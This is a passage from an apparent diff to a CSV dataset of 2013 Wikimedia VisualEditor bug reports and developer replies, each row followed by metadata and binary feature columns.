+Therefore changing the status to Resolved-worksforme for now,if you get this problem again,please do reopen the bug.",,,1384204280,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-wf4a2uikjvfox37upsq3,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+52467,VisualEditor: Text wrongly being given pre-formatted format,"Screenshot
+
+See screenshot - from https://en.wikipedia.org/wiki/Iphigenia?veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11382}",Needs Triage,90.0,1372613700,1385374964.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-yaappft5pc7quebc2sf7,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240899,VisualEditor: Text wrongly being given pre-formatted format,Fixed for some time due to changes in Parsoid. Sorry for the slowness of updating.,,,1385374964,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yaappft5pc7quebc2sf7,task_subcomment,,True,c1,3,True,,,21,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+52466,VisualEditor: Links created in the userspace are treated as links to subpages,"If I open the VisualEditor and add a link to say, ""Edward Coke (politician)"" in my sandbox, and then right click on the link and open it in a new tab, it takes me to https://en.wikipedia.org/wiki/User:Okeyes_%28WMF%29/Edward_Coke_%28politician%29
+
+This seems somewhat suboptimal.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372612740,1377445192.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-4i77geu65qzvj7wexwob,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0
+240855,VisualEditor: Links created in the userspace are treated as links to subpages,"
+
+*** This bug has been marked as a duplicate of bug 48915 ***",,,1377445192,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4i77geu65qzvj7wexwob,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52463,VisualEditor: Error saving data to server: Failed request: error.,"We have users reporting errors when trying to save on https://en.wikipedia.org/wiki/Colorado_14ers - can someone take a look at the log and work out what's happening? They were only adding text and a reference.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372608360,1385375109.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-my7qaki5z5rpjdhjrelx,task_description,resolved,True,c1,2,False,False,False,-1,,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+240730,VisualEditor: Error saving data to server: Failed request: error.,"Performance issue, fixed some time ago; sorry for slowness in replying.",,,1385375109,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-my7qaki5z5rpjdhjrelx,task_subcomment,,True,c1,3,True,,,21,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+240721,VisualEditor: Error saving data to server: Failed request: error.,"It should be the same happening here http://en.wikipedia.org/w/index.php?title=U.S._Route_377_in_Texas&diff=562454441&oldid=506596182 although the user reports seeing the message _and_ still, the edit was saved.
+
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Received_error_though_edit_was_saved",,,1372757474,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-my7qaki5z5rpjdhjrelx,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0
+52456,"VE feature request: visual ""tell"" when editing","Can something - perhaps a faint background color or an outline - be added to make clear when one is in editing mode?
+
+Copied from http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Make_editing_view_more_distinctive_from_article
+
+I like the visual editor, and I predict that more people will edit WP when it's introduced. However, there is one thing that bugs me: After I clicked the ""Edit"" Tab, the view of the article does change only slightly - so sometimes I do not know that I am already editing, especially when I scroll down the article. I'd suggest a visual hint: A modal popup, a slim outline of the editing area or a more distinctive design of the tool bar, for example. Mateng (talk) 12:00, 30 June 2013 (UTC)
+
+Hear, hear! Perhaps a (faint) background colour? There needs to be some visual clue. JohnCD (talk) 12:17, 30 June 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372595400,1373852659.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-tb4dfoj5ivzds3d5vjbf,task_description,resolved,True,c1,2,False,False,True,-1,,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0
+240291,"VE feature request: visual ""tell"" when editing","These are already covered by bug 48008 (""There is not enough UI difference between reading and editing mode"").
+
+*** This bug has been marked as a duplicate of bug 48008 ***",,,1373852659,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tb4dfoj5ivzds3d5vjbf,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+240287,"VE feature request: visual ""tell"" when editing","Another related request: 
+
+It would be very nice to show changed text in a different font and/or color (or bg color), while editing. It helps seeing what you are editing. --Wickey-nl (talk) 09:34, 5 July 2013 (UTC)",,,1373239841,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-tb4dfoj5ivzds3d5vjbf,task_subcomment,,True,c1,3,False,,,0,,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+240280,"VE feature request: visual ""tell"" when editing","Another editor suggests:
+
+I think various editors have said this before, but I'm feeling tired right now and have found it more of a problem than usually: a page open in VE needs to look much more distinctive. Otherwise it would be too easy to forget to Save Page and then absentmindedly close the tab on a page of edits. (Especially when juggling several tabs because checking different pages - even more so because Navigation Popups don't work in VE!). Even the header bar is almost monochrome. Could we have something like a red line all the way down the left-hand margin? Perhaps it would need to be an option, as some people would hate it. But I'd certainly find it helpful and I know I'm not alone. PamD 22:00, 4 July 2013 (UTC)",,,1372978408,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-tb4dfoj5ivzds3d5vjbf,task_subcomment,,True,c1,3,False,,,0,,1,1,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+52455,VisualEditor: Insert media dialog is borked,"screenshot
+
+It was working fine previously. I can reproduce this on both fr.wp and en.wp. See screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11359}",Needs Triage,90.0,1372595100,1372620610.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-adbbasada34enlaaq6ns,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+240255,VisualEditor: Insert media dialog is borked,"
+
+*** This bug has been marked as a duplicate of bug 50471 ***",,,1372620610,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-adbbasada34enlaaq6ns,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52437,"VisualEditor: ""Error saving data to server"" but actually successful, and spurious diff","I twice got the error alert box when saving.  However, it turns out that it did save both times.  The first time, it did the intended edit (https://en.wikipedia.org/w/index.php?title=Participants_in_World_War_II&diff=562174851&oldid=561500927).  The second time, it did a dirty diff for a pipe character (&#124; -> <nowiki>|</nowiki>) in a section of the page I didn't edit.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372548840,1385380712.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-qzi73sz5voocgvogf6kk,task_description,resolved,True,c1,2,True,False,False,-1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+239309,"VisualEditor: ""Error saving data to server"" but actually successful, and spurious diff",We have tweaked the time-out code so this shouldn't happen in future; sorry for the disruption. Please re-open if it recurs…,,,1385380712,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qzi73sz5voocgvogf6kk,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+52428,Preserve wiki link href with ././ prefix,"The following HTML does not seem to properly round-trip through VE:
+
+<p><a rel=""mw:WikiLink"" href=""././Foo"">./Foo</a></p>
+
+While the ././ prefix is not ideal (see Parsoid bug 50426) VE should still preserve the href on unmodified content. Instead, it seems to prefix another ./, which then results in diffs like this one:
+
+https://en.wikipedia.org/w/index.php?title=DreamWorks_Animation&curid=1509817&diff=562129988&oldid=562129729
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372526940,1372887258.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-q22fxzgily436ad4iq5g,task_description,declined,True,c1,2,True,False,True,-1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+238558,Preserve wiki link href with ././ prefix,"My problem is still occurring. I've now created bug 50720 for the specific issue I'm seeing. The latest occurrence was 05:07, 4 July 2013 
+https://en.wikipedia.org/w/index.php?title=Austropotamobius_pallipes&curid=3945333&diff=562783871&oldid=545518009",,,1372920044,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0
+238555,Preserve wiki link href with ././ prefix,Note that I also deployed a fix for bug 50426 just before I closed this bug. That will avoid triggering this in VE even if there is still a bug.,,,1372887258,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+238552,Preserve wiki link href with ././ prefix,"WORKSFORME is not good enough for a resolution for this bug. This seems to be quite a rare bug which I've only seen in edits with the visualeditor-needcheck tag
+
+https://en.wikipedia.org/w/index.php?title=Special:RecentChanges&tagfilter=visualeditor-needcheck 
+
+Looking thorough that this edit
+https://en.wikipedia.org/w/index.php?title=Ron_Davies_(songwriter)&curid=31118393&diff=562723238&oldid=553701771
+
+introduced the bad markup and that was only a couple of hours ago.",,,1372882310,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+238548,Preserve wiki link href with ././ prefix,"It worked at http://en.wikipedia.org/wiki/User:Catrope/Shrek?veaction=edit though, so closing as working.",,,1372880388,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+238541,Preserve wiki link href with ././ prefix,"This seems to also seem to replace spaces with underscores, and mangles category links. EG changing [[Category:House (season 7) episodes]] to [[./Category:House_(season_7)_episodes]]
+https://en.wikipedia.org/w/index.php?title=Out_of_the_Chute&diff=prev&oldid=562623071",,,1372821570,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+238533,Preserve wiki link href with ././ prefix,"Those prefixes actually seem to have been inserted by VE:
+https://en.wikipedia.org/w/index.php?title=DreamWorks_Animation&curid=1509817&diff=562129729&oldid=562106766",,,1372527319,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-q22fxzgily436ad4iq5g,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+52421,Feature request: permit copy-paste of templates from history,"Taken from VisualEditor feedback page:
+
+Trying when editing articles to think ""Could I use VE for this?"" I came on an article where the {{AfD}} template had been removed and needed to be restored. The easiest way to get that right is to call up from the history a version with the template in place, and copy it from there to the current version. This doesn't seem possible in VE: after selecting the template so that it is highlighted, Ctrl-C doesn't copy it, and right-click doesn't offer a ""Copy"" option. JohnCD (talk) 21:29, 28 June 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372513920,1373407947.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-mystbxhb36nxyv6pxcfr,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0
+238111,Feature request: permit copy-paste of templates from history,"This will be solved by bug 41193 when that is fixed; merging to that.
+
+*** This bug has been marked as a duplicate of bug 41193 ***",,,1373407947,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mystbxhb36nxyv6pxcfr,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+238106,Feature request: permit copy-paste of templates from history,"I believe Maggie means copying the VisualEditor representation of a template, not copying wikitext.",,,1373407882,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-mystbxhb36nxyv6pxcfr,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+238102,Feature request: permit copy-paste of templates from history,"Even if you could paste it in, that wouldn't do any good as the VE would surround the template with <nowiki> tags. Entering any form of wikisyntax in the VE currently results in the editor thinking that you want the literal text to be displayed. This bug therefore (partly) depends on that bug being fixed too.",,,1372805568,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-mystbxhb36nxyv6pxcfr,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+52418,VisualEditor: Backspace from header line into empty paragraph changes header format into paragraph,"If a header line is preceded by an empty line, and one tries to remove that empty line by placing the cursor at the beginning of the header line and hitting Delete, the empty line is removed as expected, but the header line turns into Paragraph formatting, which is unexpected and incorrect.
+
+Note that the behavior is correct if the line preceding the header line is *not* empty: in that case we want to merge the header line with the previous line, and the header formatting should be removed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50995",Needs Triage,90.0,1372507500,1384945237.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,False,PHID-TASK-dwm6neygnm5atdz5p2ls,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+237967,VisualEditor: Backspace from header line into empty paragraph changes header format into paragraph,"The initial behaviour was, I believe, fixed some time ago; the rest of the bug (as now stated in the title) is intentional behaviour. Marking as FIXED.",,,1384945237,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dwm6neygnm5atdz5p2ls,task_subcomment,,True,c1,3,True,,,20,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+237959,VisualEditor: Backspace from header line into empty paragraph changes header format into paragraph,"Sorry: I should have said ""Backspace"", not ""Delete"".",,,1372508092,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-dwm6neygnm5atdz5p2ls,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+52417,VisualEditor does not load on Opera when debugging with Dragonfly,"Would you believe that.
+
+[6/29/2013 1:44:17 PM] JavaScript - https://pl.wikipedia.org/wiki/Gródek_(obwód_lwowski)?veaction=edit
+Event thread: readystatechange
+Uncaught exception: Error: WRONG_ARGUMENTS_ERRError thrown at line 39, column 4 in <anonymous function: ve.copyDomElements>(domElement) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.base%2Cmediawiki%2CviewPageTarget%7Cjquery.visibleText%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130629T021004Z&*:
+    return doc ? doc.importNode(domElement, true) : domElement.cloneNode(true);
+called from line 38, column 3 in <anonymous function: ve.copyDomElements>(domElements, doc) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.base%2Cmediawiki%2CviewPageTarget%7Cjquery.visibleText%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130629T021004Z&*:
+    return domElements.map(function(domElement) {
+called from line 9721, column 3 in <anonymous function: ve.ce.GeneratedContentNode.prototype.onUpdate>() in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
+    this.$.empty().append(ve.copyDomElements(store.value(index), doc));
+called from line 9711, column 2 in VeCeGeneratedContentNode() in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
+    this.onUpdate();
+called via Function.prototype.call() from line 10325, column 2 in VeCeMWTransclusionNode(model, config) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
+    ve.ce.GeneratedContentNode.call(this);
+called via Function.prototype.call() from line 10366, column 2 in VeCeMWTransclusionBlockNode(model) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
+    ve.ce.MWTransclusionNode.call(this, model);
+called via Function.prototype.apply() from line 50, column 2 in <anonymous function: ve.Factory.prototype.create>(name) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
+    constructor.apply(obj, args);
+called from line 8132, column 4 in <anonymous function: ve.ce.BranchNode.prototype.onSplice>(index) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
+    args[i] = ve.ce.nodeFactory.create(args[i].getType(), args[i]);
+called via Function.prototype.apply() from line 8089, column 2 in VeCeBranchNode(model, config) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
+    this.onSplice.apply(this, [0, 0].concat(model.getChildren()));
+called via Function.prototype.call() from line 9824, column 2 in VeCeDocumentNode(model, surface, config) in https://bits.wikimedia.org/pl.wikipedia.org/load.php?debug=false&lang=pl&modules=ext.visualEditor.core%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130629T021004Z&*:
+    ve.ce.BranchNode.call(this, model, config);
+
+At this point `store.value(index)` is [undefined, undefined] on Opera, but [<span...>, <dl...>] on Firefox. Since `index` is not undefined, this would indicate some sort of an internal inconsistency.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1372507500,1372557668.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_description,resolved,True,c1,2,True,False,True,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+237907,VisualEditor does not load on Opera when debugging with Dragonfly,"Change 71174 merged by jenkins-bot:
+Make loading VE work on Opera again, attempt two
+
